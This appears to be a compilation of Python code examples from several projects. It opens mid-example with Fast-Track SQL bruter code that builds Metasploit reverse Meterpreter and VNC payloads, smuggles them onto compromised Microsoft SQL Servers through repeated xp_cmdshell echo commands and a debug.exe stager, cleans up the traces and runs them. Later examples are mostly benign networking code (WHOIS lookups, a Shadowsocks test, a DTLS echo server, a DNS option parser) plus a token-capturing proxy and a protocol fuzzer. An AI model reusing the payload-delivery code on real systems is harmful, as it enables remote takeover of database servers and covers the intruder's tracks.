       pause=raw_input("Press enter to return back to compromised SQL Servers.")
    if choice=='3':
       print "Metasploit Reverse Meterpreter Upload Detected.."
       print "Launching Meterpreter Handler."
       msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port))
       print "Creating Metasploit Reverse Meterpreter Payload.."                                               
       msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait()
       print "Prepping 64KB Debug Bypass stager for delivery..."
       h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines()
       query5=("""xp_cmdshell 'del h2bdelivery'""")                                                        
       printquery=mssql.execute_query(query5)
       for line1 in h2bread:
            line1=line1.rstrip()
            query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1))                                                        
            printquery=mssql.execute_query(query5)
            temp=line1.replace("echo ", "")
            print "Sending Payload: "+temp
       print "Converting our stager to an executable..."
       query5=("""xp_cmdshell 'debug<h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       
       query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""")
       printquery=mssql.execute_query(query5)
       
       print "Stager delivery complete."
       print "Coverting Metasploit to hex."
       import binascii
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait()
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait()
       fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines()
       filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w")
       for line in fileopen:
           line=binascii.hexlify(line)
           filewrite.write(line)
       filewrite.close()
       print "Done with payload hex conversion."
       print "Splitting payload for delivery, this may take a couple..."
       fileopen=open("%s/bin/appdata/metasploithex" % (definepath))
       createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait()
       filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w")
       while fileopen:
           a=fileopen.read(900).rstrip()
  	   if a == "":
 	            break
           filewrite.write(a)
           filewrite.write("\n")
       filewrite.close()
       query5=("""xp_cmdshell 'del metasploit*'""")
       printquery=mssql.execute_query(query5)
       
       fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines()
       import random
       randomgen=random.randrange(1,10000)
       for line in fileopen:
          line=line.rstrip()
          query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen))
          printquery=mssql.execute_query(query5)
          
          print "Sending payload: "+line
       print "Metasploit payload delivered.."
       print "Converting our payload to binary, this may take a few..."
       query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       query5=("""xp_cmdshell 'del h2b.exe'""")
       printquery=mssql.execute_query(query5)
       
       print "Launching payload, this could take up to a minute..."
       print "When finished, close the metasploit handler window to return to other compromised SQL Servers."
       query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       pause=raw_input("Press enter to return back to compromised SQL Servers.")  
    # choice 4 = metasploit reflective meterpreter payload
    if choice=='4':
       print "Metasploit Reflective Reverse Meterpreter Upload Detected.."
       print "Launching Meterpreter Handler."
       msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Reflective Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/reflectivemeterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port))
       print "Creating Metasploit Reverse Meterpreter Payload.."                                               
       msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/reflectivemeterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait()
       print "Prepping 64KB Debug Bypass stager for delivery..."
       h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines()
       query5=("""xp_cmdshell 'del h2bdelivery'""")                                                        
       printquery=mssql.execute_query(query5)
       for line1 in h2bread:
            line1=line1.rstrip()
            query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1))                                                        
            printquery=mssql.execute_query(query5)
            temp=line1.replace("echo e ", "")
            print "Sending Payload: "+temp
       print "Converting our stager to an executable..."
       query5=("""xp_cmdshell 'debug<h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       
       query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""")
       printquery=mssql.execute_query(query5)
       
       print "Stager delivery complete."
       print "Coverting Metasploit to hex."
       import binascii
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait()
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait()
       fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines()
       filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w")
       for line in fileopen:
           line=binascii.hexlify(line)
           filewrite.write(line)
       filewrite.close()
       print "Done with payload hex conversion."
       print "Splitting payload for delivery, this may take a couple..."
       fileopen=open("%s/bin/appdata/metasploithex" % (definepath))
       createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait()
       filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w")
       while fileopen:
           a=fileopen.read(900).rstrip()
  	   if a == "":
 	            break
           filewrite.write(a)
           filewrite.write("\n")
       filewrite.close()
       query5=("""xp_cmdshell 'del metasploit*'""")
       printquery=mssql.execute_query(query5)
       
       fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines()
       import random
       randomgen=random.randrange(1,10000)
       for line in fileopen:
          line=line.rstrip()
          query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen))
          printquery=mssql.execute_query(query5)
          
          print "Sending payload: "+line
       print "Metasploit payload delivered.."
       print "Converting our payload to binary, this may take a few..."
       query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       query5=("""xp_cmdshell 'del h2b.exe'""")
       printquery=mssql.execute_query(query5)
       
       print "Launching payload, this could take up to a minute..."
       print "When finished, close the metasploit handler window to return to other compromised SQL Servers."
       query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       pause=raw_input("Press enter to return back to compromised SQL Servers.")  
      # choice 5 = metasploit reflective vnc payload
    if choice=='5':
       print "Metasploit Reflective Reverse VNC Upload Detected.."
       print "Launching Meterpreter Handler."
       msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Reflective VNC Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port))
       print "Creating Metasploit Reverse VNC Payload.."                                               
       msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait()
       print "Prepping 64KB Debug Bypass stager for delivery..."
       h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines()
       query5=("""xp_cmdshell 'del h2bdelivery'""")                                                        
       printquery=mssql.execute_query(query5)
       
       for line1 in h2bread:
            line1=line1.rstrip()
            query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1))                                                        
            printquery=mssql.execute_query(query5)
            temp=line1.replace("echo ", "")
            print "Sending Payload: "+temp
       print "Converting our stager to an executable..."
       query5=("""xp_cmdshell 'debug<h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       
       query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""")
       printquery=mssql.execute_query(query5)
       
       print "Stager delivery complete."
       print "Coverting Metasploit to hex."
       import binascii
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait()
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait()
       fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines()
       filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w")
       for line in fileopen:
           line=binascii.hexlify(line)
           filewrite.write(line)
       filewrite.close()
       print "Done with payload hex conversion."
       print "Splitting payload for delivery, this may take a couple..."
       fileopen=open("%s/bin/appdata/metasploithex" % (definepath))
       createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait()
       filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w")
       while fileopen:
           a=fileopen.read(900).rstrip()
  	   if a == "":
 	            break
           filewrite.write(a)
           filewrite.write("\n")
       filewrite.close()
       query5=("""xp_cmdshell 'del metasploit*'""")
       printquery=mssql.execute_query(query5)
       
       fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines()
       import random
       randomgen=random.randrange(1,10000)
       for line in fileopen:
          line=line.rstrip()
          query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen))
          printquery=mssql.execute_query(query5)
          
          print "Sending payload: "+line
       print "Metasploit payload delivered.."
       print "Converting our payload to binary, this may take a few..."
       query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       query5=("""xp_cmdshell 'del h2b.exe'""")
       printquery=mssql.execute_query(query5)
       
       print "Launching payload, this could take up to a minute..."
       print "When finished, close the metasploit handler window to return to other compromised SQL Servers."
       query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       pause=raw_input("Press enter to return back to compromised SQL Servers.")

Example 34

Project: ipwhois Source File: net.py
    def get_asn_whois(self, retry_count=3, result=None):
        """
        The function for retrieving ASN information for an IP address from
        Cymru via port 43/tcp (WHOIS).

        Args:
            retry_count: The number of times to retry in case socket errors,
                timeouts, connection resets, etc. are encountered.
            result: Optional result object. This bypasses the ASN lookup.

        Returns:
            Dictionary: A dictionary containing the following keys:
                    asn (String) - The Autonomous System Number.
                    asn_date (String) - The ASN Allocation date.
                    asn_registry (String) - The assigned ASN registry.
                    asn_cidr (String) - The assigned ASN CIDR.
                    asn_country_code (String) - The assigned ASN country code.

        Raises:
            ASNRegistryError: The ASN registry is not known.
            ASNLookupError: The ASN lookup failed.
        """

        try:

            if result is None:

                # Create the connection for the Cymru whois query.
                conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                conn.settimeout(self.timeout)
                log.debug('ASN query for {0}'.format(self.address_str))
                conn.connect((CYMRU_WHOIS, 43))

                # Query the Cymru whois server, and store the results.
                conn.send((
                    ' -r -a -c -p -f -o {0}{1}'.format(
                        self.address_str, '\r\n')
                ).encode())

                data = ''
                while True:

                    d = conn.recv(4096).decode()
                    data += d

                    if not d:

                        break

                conn.close()

            else:

                data = result

            # Parse out the ASN information.
            temp = str(data).split('|')

            ret = {'asn_registry': temp[4].strip(' \n')}

            if ret['asn_registry'] not in RIR_WHOIS.keys():

                raise ASNRegistryError(
                    'ASN registry {0} is not known.'.format(
                        ret['asn_registry'])
                )

            ret['asn'] = temp[0].strip(' \n')
            ret['asn_cidr'] = temp[2].strip(' \n')
            ret['asn_country_code'] = temp[3].strip(' \n').upper()
            ret['asn_date'] = temp[5].strip(' \n')

            return ret

        except (socket.timeout, socket.error) as e:  # pragma: no cover

            log.debug('ASN query socket error: {0}'.format(e))
            if retry_count > 0:

                log.debug('ASN query retrying (count: {0})'.format(
                    str(retry_count)))
                return self.get_asn_whois(retry_count - 1)

            else:

                raise ASNLookupError(
                    'ASN lookup failed for {0}.'.format(self.address_str)
                )

        except ASNRegistryError:

            raise

        except:

            raise ASNLookupError(
                'ASN lookup failed for {0}.'.format(self.address_str)
            )

Example 35

Project: ipwhois Source File: net.py
Function: get_whois
    def get_whois(self, asn_registry='arin', retry_count=3, server=None,
                  port=43, extra_blacklist=None):
        """
        The function for retrieving whois or rwhois information for an IP
        address via any port. Defaults to port 43/tcp (WHOIS).

        Args:
            asn_registry: The NIC to run the query against.
            retry_count: The number of times to retry in case socket errors,
                timeouts, connection resets, etc. are encountered.
            server: An optional server to connect to. If provided, asn_registry
                will be ignored.
            port: The network port to connect on.
            extra_blacklist: A list of blacklisted whois servers in addition to
                the global BLACKLIST.

        Returns:
            String: The raw whois data.

        Raises:
            BlacklistError: Raised if the whois server provided is in the
                global BLACKLIST or extra_blacklist.
            WhoisLookupError: The whois lookup failed.
        """

        try:

            extra_bl = extra_blacklist if extra_blacklist else []

            if any(server in srv for srv in (BLACKLIST, extra_bl)):
                raise BlacklistError(
                    'The server {0} is blacklisted.'.format(server)
                )

            if server is None:
                server = RIR_WHOIS[asn_registry]['server']

            # Create the connection for the whois query.
            conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            conn.settimeout(self.timeout)
            log.debug('WHOIS query for {0} at {1}:{2}'.format(
                self.address_str, server, port))
            conn.connect((server, port))

            # Prep the query.
            query = self.address_str + '\r\n'
            if asn_registry == 'arin':

                query = 'n + {0}'.format(query)

            # Query the whois server, and store the results.
            conn.send(query.encode())

            response = ''
            while True:

                d = conn.recv(4096).decode('ascii', 'ignore')

                response += d

                if not d:

                    break

            conn.close()

            if 'Query rate limit exceeded' in response:  # pragma: no cover

                log.debug('WHOIS query rate limit exceeded. Waiting...')
                sleep(1)
                return self.get_whois(
                    asn_registry=asn_registry, retry_count=retry_count-1,
                    server=server, port=port, extra_blacklist=extra_blacklist
                )

            elif ('error 501' in response or 'error 230' in response
                  ):  # pragma: no cover

                log.debug('WHOIS query error: {0}'.format(response))
                raise ValueError

            return str(response)

        except (socket.timeout, socket.error) as e:

            log.debug('WHOIS query socket error: {0}'.format(e))
            if retry_count > 0:

                log.debug('WHOIS query retrying (count: {0})'.format(
                    str(retry_count)))
                return self.get_whois(
                    asn_registry=asn_registry, retry_count=retry_count-1,
                    server=server, port=port, extra_blacklist=extra_blacklist
                )

            else:

                raise WhoisLookupError(
                    'WHOIS lookup failed for {0}.'.format(self.address_str)
                )

        except BlacklistError:

            raise

        except:  # pragma: no cover

            raise WhoisLookupError(
                'WHOIS lookup failed for {0}.'.format(self.address_str)
            )

Example 36

Project: ShadowsocksFork Source File: manager.py
def test():
    import time
    import threading
    import struct
    from shadowsocks import encrypt

    logging.basicConfig(level=5,
                        format='%(asctime)s %(levelname)-8s %(message)s',
                        datefmt='%Y-%m-%d %H:%M:%S')
    enc = []
    eventloop.TIMEOUT_PRECISION = 1

    def run_server():
        config = {
            'server': '127.0.0.1',
            'local_port': 1081,
            'port_password': {
                '8381': 'foobar1',
                '8382': 'foobar2'
            },
            'method': 'aes-256-cfb',
            'manager_address': '127.0.0.1:6001',
            'timeout': 60,
            'fast_open': False,
            'verbose': 2
        }
        manager = Manager(config)
        enc.append(manager)
        manager.run()

    t = threading.Thread(target=run_server)
    t.start()
    time.sleep(1)
    manager = enc[0]
    cli = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    cli.connect(('127.0.0.1', 6001))

    # test add and remove
    time.sleep(1)
    cli.send(b'add: {"server_port":7001, "password":"asdfadsfasdf"}')
    time.sleep(1)
    assert 7001 in manager._relays
    data, addr = cli.recvfrom(1506)
    assert b'ok' in data

    cli.send(b'remove: {"server_port":8381}')
    time.sleep(1)
    assert 8381 not in manager._relays
    data, addr = cli.recvfrom(1506)
    assert b'ok' in data
    logging.info('add and remove test passed')

    # test statistics for TCP
    header = common.pack_addr(b'google.com') + struct.pack('>H', 80)
    data = encrypt.encrypt_all(b'asdfadsfasdf', 'aes-256-cfb', 1,
                               header + b'GET /\r\n\r\n')
    tcp_cli = socket.socket()
    tcp_cli.connect(('127.0.0.1', 7001))
    tcp_cli.send(data)
    tcp_cli.recv(4096)
    tcp_cli.close()

    data, addr = cli.recvfrom(1506)
    data = common.to_str(data)
    assert data.startswith('stat: ')
    data = data.split('stat:')[1]
    stats = shell.parse_json_in_str(data)
    assert '7001' in stats
    logging.info('TCP statistics test passed')

    # test statistics for UDP
    header = common.pack_addr(b'127.0.0.1') + struct.pack('>H', 80)
    data = encrypt.encrypt_all(b'foobar2', 'aes-256-cfb', 1,
                               header + b'test')
    udp_cli = socket.socket(type=socket.SOCK_DGRAM)
    udp_cli.sendto(data, ('127.0.0.1', 8382))
    tcp_cli.close()

    data, addr = cli.recvfrom(1506)
    data = common.to_str(data)
    assert data.startswith('stat: ')
    data = data.split('stat:')[1]
    stats = json.loads(data)
    assert '8382' in stats
    logging.info('UDP statistics test passed')

    manager._loop.stop()
    t.join()

Example 37

Project: pydtls Source File: echo_seq.py
Function: main
def main():
    sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sck.bind(("127.0.0.1", 28000))
    sck.settimeout(30)
    cert_path = path.join(path.abspath(path.dirname(__file__)), "certs")
    scn = SSLConnection(
        sck,
        keyfile=path.join(cert_path, "server-key.pem"),
        certfile=path.join(cert_path, "server-cert.pem"),
        server_side=True,
        ca_certs=path.join(cert_path, "ca-cert.pem"),
        do_handshake_on_connect=False)
    cnt = 0

    while True:
        cnt += 1
        print "Listen invocation: %d" % cnt
        peer_address = scn.listen()
        if peer_address:
            print "Completed listening for peer: %s" % str(peer_address)
            break

    print "Accepting..."
    conn = scn.accept()[0]
    sck.settimeout(5)
    conn.get_socket(True).settimeout(5)

    cnt = 0
    while True:
        cnt += 1
        print "Listen invocation: %d" % cnt
        peer_address = scn.listen()
        assert not peer_address
        print "Handshake invocation: %d" % cnt
        try:
            conn.do_handshake()
        except SSLError as err:
            if str(err).startswith("504:"):
                continue
            raise
        print "Completed handshaking with peer"
        break

    cnt = 0
    while True:
        cnt += 1
        print "Listen invocation: %d" % cnt
        peer_address = scn.listen()
        assert not peer_address
        print "Read invocation: %d" % cnt
        try:
            message = conn.read()
        except SSLError as err:
            if str(err).startswith("502:"):
                continue
            if err.args[0] == SSL_ERROR_ZERO_RETURN:
                break
            raise
        print message
        conn.write("Back to you: " + message)

    cnt = 0
    while True:
        cnt += 1
        print "Listen invocation: %d" % cnt
        peer_address = scn.listen()
        assert not peer_address
        print "Shutdown invocation: %d" % cnt
        try:
            s = conn.shutdown()
            s.shutdown(socket.SHUT_RDWR)
        except SSLError as err:
            if str(err).startswith("502:"):
                continue
            raise
        break

Example 38

Project: EyeContact Source File: __init__.py
def RunTokenProxy(runtime, port):
	connections = 0
	res = { 'token' : '', 'error' : '' }
	try:
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

		sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		sock.bind(('0.0.0.0', port))
		start = time.time()
		sock.listen(4)
		while time.time() - start < runtime:

			if not select.select([sock], [], [], 0.5)[0]:
				continue

			(conn, addr) = sock.accept()
			connections += 1
			request = TokenRequestParser(conn.recv(4096))

			# discard invalid requests
			if request.error_code != None:
				conn.sendall('%s 400 Bad Request\r\n\r\n' % request.request_version)
				conn.close()
				continue

			# check the method
			if not request.command in [ 'GET', 'POST' ]:
				# not supported
				conn.sendall('%s 400 Bad Request\r\n\r\n' % request.request_version)
				conn.close()
				continue

			# check required fields
			if not 'host' in request.headers:
				# not supported
				conn.sendall('%s 400 Bad Request\r\n\r\n' % request.request_version)
				conn.close()
				continue

			# check for tokens :)
			if 'x-eyeconnect-token' in request.headers:
				res['token'] = request.headers['x-eyeconnect-token']
				start = 0 # force exit after request

			# extract the target host / port
			try:
				(host, port) = request.headers['host'].split(':')
			except ValueError:
				(host, port) = (request.headers['host'], '80')
			port = int(port)

			# connect to the target
			remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			remote.connect((host, port))

			# rebuild the request
			request_str = '%s %s %s\r\n' % (request.command, request.path.split(request.headers['host'])[-1], request.request_version)
			for k in request.headers.keys():
				request_str += '%s: %s\r\n' % (string.capwords(k, '-'), request.headers[k])
			request_str += '\r\n'
			remote.sendall(request_str)

			if request.command == 'POST':
				remote.sendall(self.rfile.read())

			# tunnel the response
			while select.select([remote], [], [], 1)[0]:
				data = remote.recv(128)
				conn.send(data)

			# go away!
			remote.close()
			conn.close()
	except Exception, e:
		res['error'] = str(e)

	finally:
		try:
			sock.close()
		except:
			pass

	if not res['token'] and res['error'] == '':
		res['error'] = 'timeout (%d connections).' % connections

	if res['token']:
		print 'Token: %s' % res['token']
	else:
		print 'No Token'
	return res

Example 39

Project: pydig Source File: options.py
def parse_args(arglist):
    """Parse command line arguments. Options must come first."""

    qtype = "A"
    qclass = "IN"
    
    i=0
    tsig = options["tsig"] = Tsig()
    
    for (i, arg) in enumerate(arglist):

        if arg.startswith('@'):
            options["server"] = arg[1:]

        elif arg == "-h":
            raise UsageError()

        elif arg.startswith("-p"):
            options["port"] = int(arg[2:])

        elif arg.startswith("-b"):
            options["srcip"] = arg[2:]

        elif arg == "+tcp":
            options["use_tcp"] = True

        elif arg == "+ignore":
            options["ignore"] = True

        elif arg.startswith("+tls"):
            set_tls_options(arg)

        elif arg == "+aaonly":
            options["aa"] = 1

        elif arg == "+adflag":
            options["ad"] = 1

        elif arg == "+cdflag":
            options["cd"] = 1

        elif arg == "+norecurse":
            options["rd"] = 0

        elif arg == "+edns":
            options["use_edns"] = True

        elif arg.startswith("+edns="):
            options["use_edns"] = True
            options["edns_version"] = int(arg[6:])

        elif arg.startswith("+ednsflags="):
            options["use_edns"] = True
            options["edns_flags"] = int(arg[11:])

        elif arg.startswith("+ednsopt="):
            options["use_edns"] = True
            parts = arg[9:].split(':', 1)
            code = int(parts[0])
            if len(parts) == 2:
                hexdata = parts[1]
            else:
                hexdata = ''
            options["ednsopt"].append((code, hexdata))

        elif arg.startswith("+bufsize="):
            options["use_edns"] = True
            options["bufsize"] = int(arg[9:])

        elif arg == "+dnssec":
            options["use_edns"] = True
            options["dnssec_ok"] = 1; 

        elif arg == "+hex":
            options["hexrdata"] = True

        elif arg == "+walk":
            options["do_zonewalk"] = True

        elif arg == "+nsid":
            options["use_edns"] = True
            options["nsid"] = True

        elif arg == "+expire":
            options["use_edns"] = True
            options["expire"] = True

        elif arg == "+cookie":
            options["use_edns"] = True
            options["cookie"] = True

        elif arg.startswith("+cookie="):
            options["use_edns"] = True
            options["cookie"] = arg[8:]
            
        elif arg.startswith("+subnet="):
            options["use_edns"] = True
            options["subnet"] = arg[8:]
            
        elif arg == "+chainquery":
            options["use_edns"] = True
            options["chainquery"] = True

        elif arg.startswith("+chainquery="):
            options["use_edns"] = True
            options["chainquery"] = arg[12:]

        elif arg == "+0x20":
            options["do_0x20"] = True

        elif arg == "-4":
            options["af"] = socket.AF_INET

        elif arg == "-6":
            options["af"] = socket.AF_INET6

        elif arg == "-x":
            options["ptr"] = True

        elif arg == "-d":
            options['DEBUG'] = True

        elif arg.startswith("-k"):
            tsig_file = arg[2:]
            name, key = read_tsig_params(tsig_file)
            tsig.setkey(name, key)
            options["do_tsig"] = True

        elif arg.startswith("-i"):
            options["msgid"] = int(arg[2:])

        elif arg.startswith("-y"):
            # -y overrides -k, if both are specified
            alg, name, key = arg[2:].split(":")
            key = base64.decodestring(key.encode())
            tsig.setkey(name, key, alg)
            options["do_tsig"] = True

        else:
            break

    if not options["server"]:         # use 1st server listed in resolv.conf
        if os.name != 'nt':
            for line in open(RESOLV_CONF):
                if line.startswith("nameserver"):
                    options["server"] = line.split()[1]
                    break
            else:
                raise ErrorMessage("Couldn't find a default server in %s" %
                                   RESOLV_CONF)
        else:
            options["server"] = get_windows_default_dns()
            if not options["server"]:
                raise ErrorMessage("Couldn't find a default server")

    qname = arglist[i]

    if not options["do_zonewalk"]:
        if arglist[i+1:]:           qtype = arglist[i+1].upper()
        if arglist[i+2:]:           qclass = arglist[i+2].upper()

    if options["ptr"]:
        qname = ip2ptr(qname); qtype = "PTR"; qclass = "IN"
    elif qtype in ['OPENPGPKEY', 'SMIMEA'] and qname.find('@') != -1:
        qname = uid2ownername(qname, qtype)
    else:
        if not qname.endswith("."): qname += "."

    return (qname, qtype, qclass)

Example 40

Project: pwn_plug_sources Source File: sessions.py
    def fuzz (self, this_node=None, path=[]):
        '''
        Call this routine to get the ball rolling. No arguments are necessary as they are both utilized internally
        during the recursive traversal of the session graph.

        @type  this_node: request (node)
        @param this_node: (Optional, def=None) Current node that is being fuzzed.
        @type  path:      List
        @param path:      (Optional, def=[]) Nodes along the path to the current one being fuzzed.
        '''

        # if no node is specified, then we start from the root node and initialize the session.
        if not this_node:
            # we can't fuzz if we don't have at least one target and one request.
            if not self.targets:
                raise sex.error("NO TARGETS SPECIFIED IN SESSION")

            if not self.edges_from(self.root.id):
                raise sex.error("NO REQUESTS SPECIFIED IN SESSION")

            this_node = self.root

            try:    self.server_init()
            except: return

        # XXX - TODO - complete parallel fuzzing, will likely have to thread out each target
        target = self.targets[0]

        # step through every edge from the current node.
        for edge in self.edges_from(this_node.id):
            # the destination node is the one actually being fuzzed.
            self.fuzz_node = self.nodes[edge.dst]
            num_mutations  = self.fuzz_node.num_mutations()

            # keep track of the path as we fuzz through it, don't count the root node.
            # we keep track of edges as opposed to nodes because if there is more then one path through a set of
            # given nodes we don't want any ambiguity.
            if edge.src != self.root.id:
                path.append(edge)

            current_path  = " -> ".join([self.nodes[e.src].name for e in path])
            current_path += " -> %s" % self.fuzz_node.name

            self.log("current fuzz path: %s" % current_path, 2)            
            self.log("fuzzed %d of %d total cases" % (self.total_mutant_index, self.total_num_mutations), 2)
            self.updateProgressBar(self.total_mutant_index, self.total_num_mutations)
            self.update_GUI_crashes(self.crashes_detected)

            done_with_fuzz_node = False
            crash_count         = 0

            # loop through all possible mutations of the fuzz node.
            while not done_with_fuzz_node:
                # the GUI sets unsets this flag when it wants the fuzzer to die
                # command line users can just ctrl-c/z or ctrl-alt-delete
                if not self.running_flag:
                    break                
                # if we need to pause, do so.
                self.pause()

                # if we have exhausted the mutations of the fuzz node, break out of the while(1).
                # note: when mutate() returns False, the node has been reverted to the default (valid) state.
                if not self.fuzz_node.mutate():
                    self.log("all possible mutations for current fuzz node exhausted", 2)
                    done_with_fuzz_node = True
                    continue

                # make a record in the session that a mutation was made.
                self.total_mutant_index += 1

                # if we don't need to skip the current test case.
                if self.total_mutant_index > self.skip:
                    # if we've hit the restart interval, restart the target.
                    if self.restart_interval and self.total_mutant_index % self.restart_interval == 0:
                        self.log("restart interval of %d reached" % self.restart_interval)
                        self.restart_target(target)
                        # call this method in case we should wait for the client app to register with us after a restart
                        self.waitForRegister()
                        self.log("fuzzing %d of %d" % (self.fuzz_node.mutant_index, num_mutations), 2)

                    # attempt to complete a fuzz transmission. keep trying until we are successful, whenever a failure
                    # occurs, restart the target.
                    while 1:
                        try:
                            # instruct the debugger/sniffer that we are about to send a new fuzz.
                            if target.procmon: target.procmon.pre_send(self.total_mutant_index)
                            if target.netmon:  target.netmon.pre_send(self.total_mutant_index)

                            # establish a connection to the target.
                            self.host = target.host
                            self.port = target.port
                            sock = socket.socket(socket.AF_INET, self.proto)
                            sock.settimeout(self.timeout)                           

                            # if the user registered a pre-send function, pass it the sock and let it do the deed.
                            self.pre_send(sock)

                            # send out valid requests for each node in the current path up to the node we are fuzzing.
                            for e in path:
                                node = self.nodes[e.src]
                                self.transmit(sock, node, e, target)

                            # now send the current node we are fuzzing.
                            self.transmit(sock, self.fuzz_node, edge, target)
                            self.updateProgressBar(self.total_mutant_index, self.total_num_mutations)

                            # if we reach this point the send was successful for break out of the while(1).
                            break

                        except sex.error, e:
                            sys.stderr.write("CAUGHT SULLEY EXCEPTION\n")
                            sys.stderr.write("\t" + e.__str__() + "\n")
                            sys.exit(1)

                        # close the socket.                        
                        self.close_socket(sock)

                        self.log("failed connecting to %s:%d" % (target.host, target.port))
                        
                        self.log("restarting target and trying again")
                        self.restart_target(target)

                    # if the user registered a post-send function, pass it the sock and let it do the deed.
                    # we do this outside the try/except loop because if our fuzz causes a crash then the post_send()
                    # will likely fail and we don't want to sit in an endless loop.
                    self.post_send(sock)

                    # done with the socket.
                    # The following is necessary because in the case of a
                    # CANCEL being sent to an INVITE we need the socket to live
                    # for a little longer
                    # sock.close()
                    self.close_socket(sock)

                    # delay in between test cases.
                    self.log("sleeping for %f seconds" % self.sleep_time, 5)
                    time.sleep(self.sleep_time)

                    # poll the PED-RPC endpoints (netmon, procmon etc...) for the target.
                    self.poll_pedrpc(target)

                    # serialize the current session state to disk.
                    self.export_file()

            # recursively fuzz the remainder of the nodes in the session graph.
            if not self.running_flag:
                break            
            self.fuzz(self.fuzz_node, path)

